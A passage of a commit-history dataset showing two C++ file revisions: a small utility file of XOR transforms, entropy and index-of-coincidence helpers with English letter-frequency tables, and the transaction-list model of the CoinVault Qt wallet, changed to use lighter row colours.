data[i];\n    for(unsigned j=0; j<CYCLE; j++)\n    {\n      d = (*f)(d)^base(d, g, d);\n    }\n    data[i] = d;\n  }\n}\nvoid transHom(vector<unsigned char>& data, unsigned char (*f)(unsigned char), unsigned char (*g)(unsigned char))\n{\n  for(unsigned i = 0; i<data.size(); i++)\n  {\n    unsigned char d = data[i];\n    for(unsigned j=0; j<CYCLE; j++)\n    {\n      d = (*f)(d)^(*g)(d);\n    }\n    data[i] = d;\n  }\n}\n\nvoid trans(vector<unsigned char>& data, unsigned char (*f)(unsigned char))\n{\n  for(unsigned i = 0; i<data.size(); i++)\n  {\n    unsigned char d = data[i];\n    for(unsigned j=0; j<CYCLE; j++)\n    {\n      d = (*f)(d);\n    }\n    data[i] = d;\n  }\n}\n\nvector<double> f_dist(vector<unsigned char>& in)\n{\n  vector<double> fdist;\n  fdist.resize(256);\n  for(unsigned i = 0; i<in.size(); i++)\n  {\n    fdist[in[i]]++;\n  }\n\n  for(unsigned i=0; i<fdist.size(); i++)\n  {\n    fdist[i] = (fdist[i] \/ in.size()) * 100;\n  }\n\n  return fdist;\n}\n\ndouble s_entropy(vector<double> v) \n{\n  double entropy = 0;\n  double p;\n\n  for(unsigned i = 0; i < v.size(); i++) \n  {\n    p = v[i] \/ 100;\n    if (p == 0) continue;\n    entropy += p * std::log(p) \/ std::log(2);\n  }\n  return -entropy;\n}\nvoid rms(const string& s, string& r)\n{\n  for(unsigned int i=0; i<s.size(); i++)\n  {\n    if(::isspace(s[i])) continue;\n    r+= s[i];\n  }\n}\n\ndouble sw(double weight, int i, int j, int (*inv)(int, int))\n{\n  return weight*(*inv)(i, j); \n}\nvoid hPerm(int s, int n, void (*p)(int), void (*inv)(int, int))\n{\n  if(s == 1)\n  {\n    (*p)(n);\n    return;\n  }\n  for(int i=0; i< s; i++)\n  {\n    hPerm(s-1, n, p, inv);\n    if(s%2 == 1)\n      (*inv)(0, s-1);\n    else \n      (*inv)(i, s-1);\n  }\n}\n\ndouble ic(const string& t)\n{\n  string text; rms(t, text);\n  vector<double> freq(256,0);\n  for(unsigned int i=0; i<text.size(); i++)\n  {\n    if(text[i] == ' ') continue;\n    freq[text[i]] ++;\n  }\n  double sum=0;\n  for(unsigned int i=0; i<freq.size(); i++)\n  {\n    if(freq[i] != 0)\n    {\n      double c = freq[i];\n      if(c != 0)\n        sum += c * (c - 1);\n    }\n  }\n  double ic = 26 * sum \/ (text.size() * (text.size() - 1));\n  return ic;\n}\n\nvoid switchIO(unsigned char (*p)(unsigned char, unsigned char), unsigned char m)\n{\n  \/\/test seq\n  (*p)(transition_seq[ENTRY_LINK__], m);    \n}\n<commit_msg>util test, seq<commit_after>#include \"twister.h\"\n\nconst unsigned CYCLE = 0x100;\n\nconst unsigned C_TRANS_ = 0xff;\nint block_units[][0x10] = {\n\t0x74, 0x63, 0x69, 0x67, 0x72, 0x68, 0x6e, 0x6c, 0x61, 0x67, 0x74, 0x6c, 0x69, 0x73, 0x61, 0x61, 0x6f, 0x6d, 0x6f, 0x72, 0x6e, 0x72, 0x69, 0x6d, 0x6e, 0x6e, 0x65, 0x74, 0x72, 0x6e, 0x6b, 0x73, 0x61, 0x6f, 0x65, 0x69, 0x73, 0x64, 0x6c, 0x65, 0x69, 0x6b, 0x68, 0x68, 0x68, 0x65, 0x72, 0x64, 0x66, 0x74, 0x61, 0x73, 0x6f, 0x69, 0x65, 0x74, 0x69, 0x68, 0x6e, 0x65, 0x62, 0x74, 0x6b, 0x65\n  };\nint triad_units[][0x03] = {\n\t0x74, 0x68, 0x65, 0x74, 0x68, 0x61, 0x65, 0x74, 0x68, 0x66, 0x6f, 0x72, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x65, 0x72, 0x65, 0x68, 0x61, 0x74, 0x68, 0x69, 0x73\n};\nconst int transition_seq[] = { 0xce, 0xab, 0xdf, 0xcf, 0xee,\n                               0xcf, 0xad, 0xdf, 0xff, 0xce, \n                               0x32, 0x40, 0xd3, 0x27, 0x82, \n                               0xda, 0xee, 0xff, 0xfc, 0xbf, \n                               0x1c, 0x90, 0x13, 0x4a, 0xa5, \n                               0xe0, 0x21, 0x9f, 0xe1, 0xc6, \n                               0xe4, 0x38, 0x1f, 0x60, 0x24, \n                               0x0c, 0x35, 0x51, 0x32, 0xcf, \n                               0x12, 0x9a, 0x30, 0x44, 0x72, \n                               0x04, 0x1c, 0x52, 0xca, 0xdf, \n                               0x12, 0x0b, 0x30, 0xa0, 0x1e, \n                               0x03, 0x14, 0x09, 0x73, 0x23, \n                               0xf2, 0xca, 0xa2, 0x51, 0xc6, \n                               0xcb, 0xbd, 0xba, 0xac, 0xdf, \n\t\t\t       0xdf, 0xde, 0xcd, 0xfd, 0xca };\n\nint ENTRY_LINK__ = 0x05;\nint ENTRY_LINK__TEST = 0x09;\n\nunsigned reflect(unsigned center, unsigned (*r)(unsigned))\n{\n  return (*r)(center)^center;\n}\nunsigned char base(unsigned char a, unsigned char (*s)(unsigned char), int pos)\n{\n\treturn (*s)(pos)^a;\n}\n\nvoid transHomExt(vector<unsigned char>& data, unsigned char (*f)(unsigned char), unsigned char (*g)(unsigned char))\n{\n  for(unsigned i = 0; i<data.size(); i++)\n  {\n    unsigned char d = data[i];\n    for(unsigned j=0; j<CYCLE; j++)\n    {\n      d = (*f)(d)^base(d, g, d);\n    }\n    data[i] = d;\n  }\n}\nvoid transHom(vector<unsigned char>& data, unsigned char (*f)(unsigned char), unsigned char (*g)(unsigned char))\n{\n  for(unsigned i = 0; i<data.size(); i++)\n  {\n    unsigned char d = data[i];\n    for(unsigned j=0; j<CYCLE; j++)\n    {\n      d = (*f)(d)^(*g)(d);\n    }\n    data[i] = d;\n  }\n}\n\nvoid trans(vector<unsigned char>& data, unsigned char (*f)(unsigned char))\n{\n  for(unsigned i = 0; i<data.size(); i++)\n  {\n    unsigned char d = data[i];\n    for(unsigned j=0; j<CYCLE; j++)\n    {\n      d = (*f)(d);\n    }\n    data[i] = d;\n  }\n}\n\nvector<double> f_dist(vector<unsigned char>& in)\n{\n  vector<double> fdist;\n  fdist.resize(256);\n  for(unsigned i = 0; i<in.size(); i++)\n  {\n    fdist[in[i]]++;\n  }\n\n  for(unsigned i=0; i<fdist.size(); i++)\n  {\n    fdist[i] = (fdist[i] \/ in.size()) * 100;\n  }\n\n  return fdist;\n}\n\ndouble s_entropy(vector<double> v) \n{\n  double entropy = 0;\n  double p;\n\n  for(unsigned i = 0; i < v.size(); i++) \n  {\n    p = v[i] \/ 100;\n    if (p == 0) continue;\n    entropy += p * std::log(p) \/ std::log(2);\n  }\n  return -entropy;\n}\nvoid rms(const string& s, string& r)\n{\n  for(unsigned int i=0; i<s.size(); i++)\n  {\n    if(::isspace(s[i])) continue;\n    r+= s[i];\n  }\n}\n\ndouble sw(double weight, int i, int j, int (*inv)(int, int))\n{\n  return weight*(*inv)(i, j); \n}\nvoid hPerm(int s, int n, void (*p)(int), void (*inv)(int, int))\n{\n  if(s == 1)\n  {\n    (*p)(n);\n    return;\n  }\n  for(int i=0; i< s; i++)\n  {\n    hPerm(s-1, n, p, inv);\n    if(s%2 == 1)\n      (*inv)(0, s-1);\n    else \n      (*inv)(i, s-1);\n  }\n}\n\ndouble ic(const string& t)\n{\n  string text; rms(t, text);\n  vector<double> freq(256,0);\n  for(unsigned int i=0; i<text.size(); i++)\n  {\n    if(text[i] == ' ') continue;\n    freq[text[i]] ++;\n  }\n  double sum=0;\n  for(unsigned int i=0; i<freq.size(); i++)\n  {\n    if(freq[i] != 0)\n    {\n      double c = freq[i];\n      if(c != 0)\n        sum += c * (c - 1);\n    }\n  }\n  double ic = 26 * sum \/ (text.size() * (text.size() - 1));\n  return ic;\n}\n\nvoid switchIO(unsigned char (*p)(unsigned char, unsigned char), unsigned char m)\n{\n  \/\/test seq\n  (*p)(transition_seq[ENTRY_LINK__], m);    \n  (*p)(transition_seq[ENTRY_LINK__TEST], m);    \n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CoinVault\n\/\/\n\/\/ txmodel.cpp\n\/\/\n\/\/ Copyright (c) 2014 Eric Lombrozo\n\/\/\n\/\/ All Rights Reserved.\n\n#include \"txmodel.h\"\n\n#include <CoinDB\/SynchedVault.h>\n\n#include <CoinQ\/CoinQ_script.h>\n\n#include <stdutils\/stringutils.h>\n\n#include <QStandardItemModel>\n#include <QDateTime>\n#include <QMessageBox>\n\n#include \"settings.h\"\n#include \"coinparams.h\"\n\n#include \"severitylogger.h\"\n\nusing namespace CoinDB;\nusing namespace CoinQ::Script;\nusing namespace std;\n\nTxModel::TxModel(QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n}\n\nTxModel::TxModel(CoinDB::Vault* vault, const QString& accountName, QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n    setVault(vault);\n    setAccount(accountName);\n}\n\nvoid TxModel::setColumns()\n{\n    QStringList columns;\n    columns\n        << tr(\"Time\")\n        << tr(\"Description\")\n        << tr(\"Type\")\n        << (tr(\"Amount\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Fee\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Balance\") + \" (\" + getCurrencySymbol() + \")\")\n        << tr(\"Confirmations\")\n        << tr(\"Address\")\n        << tr(\"Transaction Hash\");\n    setHorizontalHeaderLabels(columns);\n}\n\nvoid TxModel::setVault(CoinDB::Vault* vault)\n{\n    this->vault = vault;\n    accountName.clear();\n}\n\nvoid TxModel::setAccount(const QString& accountName)\n{\n    if (!vault) {\n        throw std::runtime_error(\"Vault is not open.\");\n    }\n\n    if (!vault->accountExists(accountName.toStdString())) {\n        throw std::runtime_error(\"Account not found.\");\n    }\n\n    this->accountName = accountName;\n    update();\n}\n\nvoid TxModel::update()\n{\n    QString newCurrencySymbol = getCurrencySymbol();\n    if (newCurrencySymbol != currencySymbol)\n    {\n        currencySymbol = newCurrencySymbol;\n        setColumns();\n    }\n\n    removeRows(0, rowCount());\n\n    if (!vault || accountName.isEmpty()) return;\n\n    std::shared_ptr<BlockHeader> bestHeader = vault->getBestBlockHeader();\n\n    std::vector<TxOutView> txoutviews = vault->getTxOutViews(accountName.toStdString(), \"\", TxOut::ROLE_BOTH, TxOut::BOTH, Tx::ALL, true);\n    bytes_t last_txhash;\n    typedef std::pair<unsigned long, uint32_t> sorting_info_t;\n    typedef std::pair<QList<QStandardItem*>, int64_t> value_row_t; \/\/ used to associate output values with rows for computing balance\n    typedef std::pair<sorting_info_t, value_row_t> sortable_row_t;\n    QList<sortable_row_t> rows;\n    for (auto& item: txoutviews) {\n        QList<QStandardItem*> row;\n\n        QDateTime utc;\n        utc.setTime_t(item.tx_timestamp);\n        QString time = utc.toLocalTime().toString();\n\n        QString description = QString::fromStdString(item.role_label());\n        if (description.isEmpty()) description = \"Not available\";\n\n        \/\/ The type stuff is just to test the new db schema. It's all wrong, we're not going to use TxOutViews for this.\n        TxType txType;\n        QString type;\n        QString amount;\n        QString fee;\n        int64_t value = 0;\n        bytes_t this_txhash = item.tx_status == Tx::UNSIGNED ? item.tx_unsigned_hash : item.tx_hash;\n        switch (item.role_flags) {\n        case TxOut::ROLE_NONE:\n            txType = NONE;\n            type = tr(\"None\");\n            break;\n\n        case TxOut::ROLE_SENDER:\n            txType = SEND;\n            type = tr(\"Send\");\n            amount = \"-\";\n            value -= item.value;\n            if (item.tx_has_all_outpoints && item.tx_fee() > 0) {\n                if (this_txhash != last_txhash) {\n                    fee = \"-\";\n                    \/\/fee += QString::number(item.tx_fee()\/(1.0 * currency_divisor), 'g', 8);\n                    fee += getFormattedCurrencyAmount(item.tx_fee());\n                    value -= item.tx_fee();\n                    last_txhash = this_txhash;\n                }\n                else {\n                    fee = \"||\";\n                }\n            }\n            break;\n\n        case TxOut::ROLE_RECEIVER:\n            txType = RECEIVE;\n            type = tr(\"Receive\");\n            amount = \"+\";\n            value += item.value;\n            break;\n\n        default:\n            txType = UNKNOWN;\n            type = tr(\"Unknown\");\n        }\n\n        \/\/amount += QString::number(item.value\/(1.0 * currency_divisor), 'g', 8);\n        amount += getFormattedCurrencyAmount(item.value);\n\n        uint32_t nConfirmations = 0;\n        QString confirmations;\n        if (item.tx_status >= Tx::PROPAGATED) {\n            if (bestHeader && item.height) {\n                nConfirmations = bestHeader->height() + 1 - item.height;\n                confirmations = QString::number(nConfirmations);\n            }\n            else {\n                confirmations = \"0\";\n            }\n        }\n        else if (item.tx_status == Tx::UNSIGNED) {\n            confirmations = tr(\"Unsigned\");\n        }\n        else if (item.tx_status == Tx::UNSENT) {\n            confirmations = tr(\"Unsent\");\n        }\n        QStandardItem* confirmationsItem = new QStandardItem(confirmations);\n        confirmationsItem->setData(item.tx_status, Qt::UserRole);\n\n        QString address = QString::fromStdString(getAddressForTxOutScript(item.script, base58_versions));\n        QString hash = QString::fromStdString(uchar_vector(this_txhash).getHex());\n\n        row.append(new QStandardItem(time));\n        row.append(new QStandardItem(description));\n\n        QStandardItem* typeItem = new QStandardItem(type);\n        typeItem->setData(txType, Qt::UserRole);\n        row.append(typeItem);\n\n        row.append(new QStandardItem(amount));\n        row.append(new QStandardItem(fee));\n        row.append(new QStandardItem(\"\")); \/\/ placeholder for balance, once sorted\n        row.append(confirmationsItem);\n        row.append(new QStandardItem(address));\n\n        \/\/ Store the tx hash and tx index to uniquely identify the output.\n        QStandardItem* hashItem = new QStandardItem(hash);\n        hashItem->setData(item.tx_index, Qt::UserRole);\n        row.append(hashItem);\n\n        rows.append(std::make_pair(std::make_pair(item.tx_id, nConfirmations), std::make_pair(row, value)));\n    }\n\n    qSort(rows.begin(), rows.end(), [](const sortable_row_t& a, const sortable_row_t& b) {\n        sorting_info_t a_info = a.first;\n        sorting_info_t b_info = b.first;\n\n        \/\/ if confirmation counts are equal\n        if (a_info.second == b_info.second) {\n            \/\/ if one value is positive and the other is negative, sort so that running balance remains positive\n            if (a.second.second < 0 && b.second.second > 0) return true;\n            if (a.second.second > 0 && b.second.second < 0) return false;\n\n            \/\/ otherwise sort by descending index\n            return (a_info.first > b_info.first);\n        }\n\n        \/\/ otherwise sort by ascending confirmation count\n        return (a_info.second < b_info.second);\n    });\n\n    \/\/ iterate in reverse order to compute running balance\n    int64_t balance = 0;\n    for (int i = rows.size() - 1; i >= 0; i--) {\n        balance += rows[i].second.second;\n        \/\/(rows[i].second.first)[5]->setText(QString::number(balance\/(1.0 * currency_divisor), 'g', 8));\n        (rows[i].second.first)[5]->setText(getFormattedCurrencyAmount(balance));\n    }\n\n    \/\/ iterate in forward order to display\n    for (auto& row: rows) appendRow(row.second.first);\n}\n\nbytes_t TxModel::getTxHash(int row) const\n{\n    LOGGER(trace) << \"TxModel::getTxHash(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n    return txhash;\n}\n\nvoid TxModel::signTx(int row)\n{\n    LOGGER(trace) << \"TxModel::signTx(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type != CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction is already signed.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::vector<std::string> keychainNames;\n    std::shared_ptr<Tx> tx = vault->signTx(txhash, keychainNames, true);\n    if (!tx) throw std::runtime_error(tr(\"No new signatures were added.\").toStdString());\n\n    LOGGER(trace) << \"TxModel::signTx - signature(s) added. raw tx: \" << uchar_vector(tx->raw()).getHex() << std::endl;\n    update();\n\n    QString msg;\n    if (keychainNames.empty())\n    {\n        msg = tr(\"No new signatures were added.\");\n    }\n    else\n    {\n        msg = tr(\"Signatures added using keychain(s) \") + QString::fromStdString(stdutils::delimited_list(keychainNames, \", \")) + tr(\".\");\n    }\n    emit txSigned(msg);\n}\n\nvoid TxModel::sendTx(int row, CoinDB::SynchedVault* synchedVault)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    if (!synchedVault->isConnected()) {\n        throw std::runtime_error(tr(\"Must be connected to network to send.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type == CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction must be fully signed before sending.\").toStdString());\n    }\n    else if (type == CoinDB::Tx::PROPAGATED) {\n        throw std::runtime_error(tr(\"Transaction already sent.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::shared_ptr<CoinDB::Tx> tx = vault->getTx(txhash);\n    Coin::Transaction coin_tx = tx->toCoinCore();\n    synchedVault->sendTx(coin_tx);\n\n    \/\/ TODO: Check transaction has propagated before changing status to PROPAGATED\n\/\/    tx->updateStatus(CoinDB::Tx::PROPAGATED);\n\/\/    vault->insertTx(tx);\n\n\/\/    update();\n    \/\/networkSync->getTx(txhash);\n}\n\nstd::shared_ptr<Tx> TxModel::getTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    return vault->getTx(txhash);\n}\n\nvoid TxModel::deleteTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    vault->deleteTx(txhash);\n    update();\n\n    emit txDeleted();\n}\n\nQVariant TxModel::data(const QModelIndex& index, int role) const\n{\n    \/\/ Right-align numeric fields\n    if (role == Qt::TextAlignmentRole && index.column() >= 3 && index.column() <= 6)\n    {\n        return Qt::AlignRight;\n    }\n    else if (role == Qt::BackgroundRole)\n    {\n        QStandardItem* typeItem = item(index.row(), 2);\n        int txtype = typeItem->data(Qt::UserRole).toInt();\n        switch (txtype)\n        {\n        case SEND:      return QBrush(QColor(255, 175, 175));\n        case RECEIVE:   return QBrush(QColor(175, 255, 175));\n        } \n    }\n \n    return QStandardItemModel::data(index, role);\n}\n\nbool TxModel::setData(const QModelIndex& index, const QVariant& value, int role)\n{\n    if (role == Qt::EditRole) {\n        if (index.column() == 1) {\n            \/\/ Keychain name edited.\n            if (!vault) return false;\n \n            try {\n                \/\/ Get account role (sender\/receiver)\n                QStandardItem* typeItem = item(index.row(), 2);\n                int txtype = typeItem->data(Qt::UserRole).toInt();                \n                if (txtype != SEND && txtype != RECEIVE) return false;\n\n                \/\/ Get outpoint information\n                QStandardItem* txHashItem = item(index.row(), 8);\n                uchar_vector txhash;\n                txhash.setHex(txHashItem->text().toStdString());\n                uint32_t txindex = (uint32_t)txHashItem->data(Qt::UserRole).toInt();\n\n                if (txtype == SEND)\n                {\n                    vault->setSendingLabel(txhash, txindex, value.toString().toStdString());\n                }\n                else\n                {\n                    vault->setReceivingLabel(txhash, txindex, value.toString().toStdString());\n                }\n\n                setItem(index.row(), index.column(), new QStandardItem(value.toString()));\n                return true;\n            }\n            catch (const std::exception& e) {\n                emit error(QString::fromStdString(e.what()));\n            }\n        }\n        return false;\n    }\n \n    return true;\n}\n\nQt::ItemFlags TxModel::flags(const QModelIndex& index) const\n{\n    if (index.column() == 1) {\n        return Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsEditable;\n    }\n \n    return Qt::ItemIsSelectable | Qt::ItemIsEnabled;\n}\n\n<commit_msg>Lighter colors for TxModel.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CoinVault\n\/\/\n\/\/ txmodel.cpp\n\/\/\n\/\/ Copyright (c) 2014 Eric Lombrozo\n\/\/\n\/\/ All Rights Reserved.\n\n#include \"txmodel.h\"\n\n#include <CoinDB\/SynchedVault.h>\n\n#include <CoinQ\/CoinQ_script.h>\n\n#include <stdutils\/stringutils.h>\n\n#include <QStandardItemModel>\n#include <QDateTime>\n#include <QMessageBox>\n\n#include \"settings.h\"\n#include \"coinparams.h\"\n\n#include \"severitylogger.h\"\n\nusing namespace CoinDB;\nusing namespace CoinQ::Script;\nusing namespace std;\n\nTxModel::TxModel(QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n}\n\nTxModel::TxModel(CoinDB::Vault* vault, const QString& accountName, QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n    setVault(vault);\n    setAccount(accountName);\n}\n\nvoid TxModel::setColumns()\n{\n    QStringList columns;\n    columns\n        << tr(\"Time\")\n        << tr(\"Description\")\n        << tr(\"Type\")\n        << (tr(\"Amount\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Fee\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Balance\") + \" (\" + getCurrencySymbol() + \")\")\n        << tr(\"Confirmations\")\n        << tr(\"Address\")\n        << tr(\"Transaction Hash\");\n    setHorizontalHeaderLabels(columns);\n}\n\nvoid TxModel::setVault(CoinDB::Vault* vault)\n{\n    this->vault = vault;\n    accountName.clear();\n}\n\nvoid TxModel::setAccount(const QString& accountName)\n{\n    if (!vault) {\n        throw std::runtime_error(\"Vault is not open.\");\n    }\n\n    if (!vault->accountExists(accountName.toStdString())) {\n        throw std::runtime_error(\"Account not found.\");\n    }\n\n    this->accountName = accountName;\n    update();\n}\n\nvoid TxModel::update()\n{\n    QString newCurrencySymbol = getCurrencySymbol();\n    if (newCurrencySymbol != currencySymbol)\n    {\n        currencySymbol = newCurrencySymbol;\n        setColumns();\n    }\n\n    removeRows(0, rowCount());\n\n    if (!vault || accountName.isEmpty()) return;\n\n    std::shared_ptr<BlockHeader> bestHeader = vault->getBestBlockHeader();\n\n    std::vector<TxOutView> txoutviews = vault->getTxOutViews(accountName.toStdString(), \"\", TxOut::ROLE_BOTH, TxOut::BOTH, Tx::ALL, true);\n    bytes_t last_txhash;\n    typedef std::pair<unsigned long, uint32_t> sorting_info_t;\n    typedef std::pair<QList<QStandardItem*>, int64_t> value_row_t; \/\/ used to associate output values with rows for computing balance\n    typedef std::pair<sorting_info_t, value_row_t> sortable_row_t;\n    QList<sortable_row_t> rows;\n    for (auto& item: txoutviews) {\n        QList<QStandardItem*> row;\n\n        QDateTime utc;\n        utc.setTime_t(item.tx_timestamp);\n        QString time = utc.toLocalTime().toString();\n\n        QString description = QString::fromStdString(item.role_label());\n        if (description.isEmpty()) description = \"Not available\";\n\n        \/\/ The type stuff is just to test the new db schema. It's all wrong, we're not going to use TxOutViews for this.\n        TxType txType;\n        QString type;\n        QString amount;\n        QString fee;\n        int64_t value = 0;\n        bytes_t this_txhash = item.tx_status == Tx::UNSIGNED ? item.tx_unsigned_hash : item.tx_hash;\n        switch (item.role_flags) {\n        case TxOut::ROLE_NONE:\n            txType = NONE;\n            type = tr(\"None\");\n            break;\n\n        case TxOut::ROLE_SENDER:\n            txType = SEND;\n            type = tr(\"Send\");\n            amount = \"-\";\n            value -= item.value;\n            if (item.tx_has_all_outpoints && item.tx_fee() > 0) {\n                if (this_txhash != last_txhash) {\n                    fee = \"-\";\n                    \/\/fee += QString::number(item.tx_fee()\/(1.0 * currency_divisor), 'g', 8);\n                    fee += getFormattedCurrencyAmount(item.tx_fee());\n                    value -= item.tx_fee();\n                    last_txhash = this_txhash;\n                }\n                else {\n                    fee = \"||\";\n                }\n            }\n            break;\n\n        case TxOut::ROLE_RECEIVER:\n            txType = RECEIVE;\n            type = tr(\"Receive\");\n            amount = \"+\";\n            value += item.value;\n            break;\n\n        default:\n            txType = UNKNOWN;\n            type = tr(\"Unknown\");\n        }\n\n        \/\/amount += QString::number(item.value\/(1.0 * currency_divisor), 'g', 8);\n        amount += getFormattedCurrencyAmount(item.value);\n\n        uint32_t nConfirmations = 0;\n        QString confirmations;\n        if (item.tx_status >= Tx::PROPAGATED) {\n            if (bestHeader && item.height) {\n                nConfirmations = bestHeader->height() + 1 - item.height;\n                confirmations = QString::number(nConfirmations);\n            }\n            else {\n                confirmations = \"0\";\n            }\n        }\n        else if (item.tx_status == Tx::UNSIGNED) {\n            confirmations = tr(\"Unsigned\");\n        }\n        else if (item.tx_status == Tx::UNSENT) {\n            confirmations = tr(\"Unsent\");\n        }\n        QStandardItem* confirmationsItem = new QStandardItem(confirmations);\n        confirmationsItem->setData(item.tx_status, Qt::UserRole);\n\n        QString address = QString::fromStdString(getAddressForTxOutScript(item.script, base58_versions));\n        QString hash = QString::fromStdString(uchar_vector(this_txhash).getHex());\n\n        row.append(new QStandardItem(time));\n        row.append(new QStandardItem(description));\n\n        QStandardItem* typeItem = new QStandardItem(type);\n        typeItem->setData(txType, Qt::UserRole);\n        row.append(typeItem);\n\n        row.append(new QStandardItem(amount));\n        row.append(new QStandardItem(fee));\n        row.append(new QStandardItem(\"\")); \/\/ placeholder for balance, once sorted\n        row.append(confirmationsItem);\n        row.append(new QStandardItem(address));\n\n        \/\/ Store the tx hash and tx index to uniquely identify the output.\n        QStandardItem* hashItem = new QStandardItem(hash);\n        hashItem->setData(item.tx_index, Qt::UserRole);\n        row.append(hashItem);\n\n        rows.append(std::make_pair(std::make_pair(item.tx_id, nConfirmations), std::make_pair(row, value)));\n    }\n\n    qSort(rows.begin(), rows.end(), [](const sortable_row_t& a, const sortable_row_t& b) {\n        sorting_info_t a_info = a.first;\n        sorting_info_t b_info = b.first;\n\n        \/\/ if confirmation counts are equal\n        if (a_info.second == b_info.second) {\n            \/\/ if one value is positive and the other is negative, sort so that running balance remains positive\n            if (a.second.second < 0 && b.second.second > 0) return true;\n            if (a.second.second > 0 && b.second.second < 0) return false;\n\n            \/\/ otherwise sort by descending index\n            return (a_info.first > b_info.first);\n        }\n\n        \/\/ otherwise sort by ascending confirmation count\n        return (a_info.second < b_info.second);\n    });\n\n    \/\/ iterate in reverse order to compute running balance\n    int64_t balance = 0;\n    for (int i = rows.size() - 1; i >= 0; i--) {\n        balance += rows[i].second.second;\n        \/\/(rows[i].second.first)[5]->setText(QString::number(balance\/(1.0 * currency_divisor), 'g', 8));\n        (rows[i].second.first)[5]->setText(getFormattedCurrencyAmount(balance));\n    }\n\n    \/\/ iterate in forward order to display\n    for (auto& row: rows) appendRow(row.second.first);\n}\n\nbytes_t TxModel::getTxHash(int row) const\n{\n    LOGGER(trace) << \"TxModel::getTxHash(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n    return txhash;\n}\n\nvoid TxModel::signTx(int row)\n{\n    LOGGER(trace) << \"TxModel::signTx(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type != CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction is already signed.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::vector<std::string> keychainNames;\n    std::shared_ptr<Tx> tx = vault->signTx(txhash, keychainNames, true);\n    if (!tx) throw std::runtime_error(tr(\"No new signatures were added.\").toStdString());\n\n    LOGGER(trace) << \"TxModel::signTx - signature(s) added. raw tx: \" << uchar_vector(tx->raw()).getHex() << std::endl;\n    update();\n\n    QString msg;\n    if (keychainNames.empty())\n    {\n        msg = tr(\"No new signatures were added.\");\n    }\n    else\n    {\n        msg = tr(\"Signatures added using keychain(s) \") + QString::fromStdString(stdutils::delimited_list(keychainNames, \", \")) + tr(\".\");\n    }\n    emit txSigned(msg);\n}\n\nvoid TxModel::sendTx(int row, 